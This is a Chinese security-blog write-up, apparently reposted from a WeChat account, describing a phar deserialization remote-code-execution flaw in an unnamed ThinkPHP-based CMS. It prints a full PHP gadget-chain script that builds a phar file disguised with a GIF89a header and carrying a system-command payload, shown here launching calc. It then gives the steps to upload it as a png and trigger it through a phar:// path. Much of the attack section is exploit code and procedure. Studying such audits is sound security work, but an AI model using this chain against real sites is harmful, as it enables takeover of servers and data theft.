某CMS源码RCE审计思路

admin 2024年9月27日15:07:11评论15 views字数 1387阅读4分37秒阅读模式
 

一、前言

这个依旧是一个学员审计出来的案例,今天拿出来分享一下,这个漏洞是基于phar反序列化的一个漏洞RCE利用方式,我们来查看漏洞点。

二、漏洞分析

首先这个代码是一个ThinkPHP框架开发的一个项目,在代码当中可以看到第110行代码当中存在一个is_file方法,这个方法是进行判断xx文件是否存在。

刚好is_file方法是能够触发我们的phar反序列化漏洞

某CMS源码RCE审计思路

Get()函数代码110行is_file函数中$filename参数可控,而is_file函数又在get()函数中。

某CMS源码RCE审计思路

继续寻找read方法查看哪里调用。

某CMS源码RCE审计思路

函数file_info()在代码108行调用了read()函数,继续查看哪里调用file_info。

某CMS源码RCE审计思路

好,全程是可控的,并且代码是TP开发的框架,我们从网上找到对应的反序列化链子,这里链子在下面,使用反序列化链生成phar文件,phar文件不会受到文件后缀名的影响,我们生成jpg就可以。

<?phpnamespace thinkprocesspipes {    class Windows    {        private $files;        public function __construct($files){            $this->files = array($files);        }    }}namespace thinkmodelconcern {    trait Conversion    {        protected $append = array("smi1e" => "1");    }    trait Attribute    {        private $data;        private $withAttr = array("smi1e" => "system");        public function get(){            $this->data = array("smi1e" => "calc");        }    }}namespace think {    abstract class Model    {        use modelconcernAttribute;        use modelconcernConversion;    }}namespace thinkmodel{    use thinkModel;    class Pivot extends Model{        public function __construct(){            $this->get();        }    }}namespace {    $conver = new thinkmodelPivot();    $a = new thinkprocesspipesWindows($conver);    $phar = new Phar('hkey.phar');    $phar -> stopBuffering();    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');    $phar -> addFromString('test.txt','test');    $phar -> setMetadata($a);    $phar -> stopBuffering();}?>

生成文件之后我们改名为jpg,进行触发功能点。

三、漏洞利用

生成出来文件

某CMS源码RCE审计思路

生成出来文件之后改为png图片(改为png主要是方便我们上传)

某CMS源码RCE审计思路

进行上传。

某CMS源码RCE审计思路

某CMS源码RCE审计思路

拿到对应路径之后开始利用。

访问我们审计出来的功能点地址。

某CMS源码RCE审计思路

抓包修改为phar://上传png图片地址

某CMS源码RCE审计思路

弹出计算机!

关于phar反序列化,如果大家不懂的可以自行百度了解,还是挺值得分析的。

四、完结

 

原文始发于微信公众号(进击安全):某CMS源码RCE审计思路

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月27日15:07:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某CMS源码RCE审计思路https://cn-sec.com/archives/3210060.html

发表评论

匿名网友 填写信息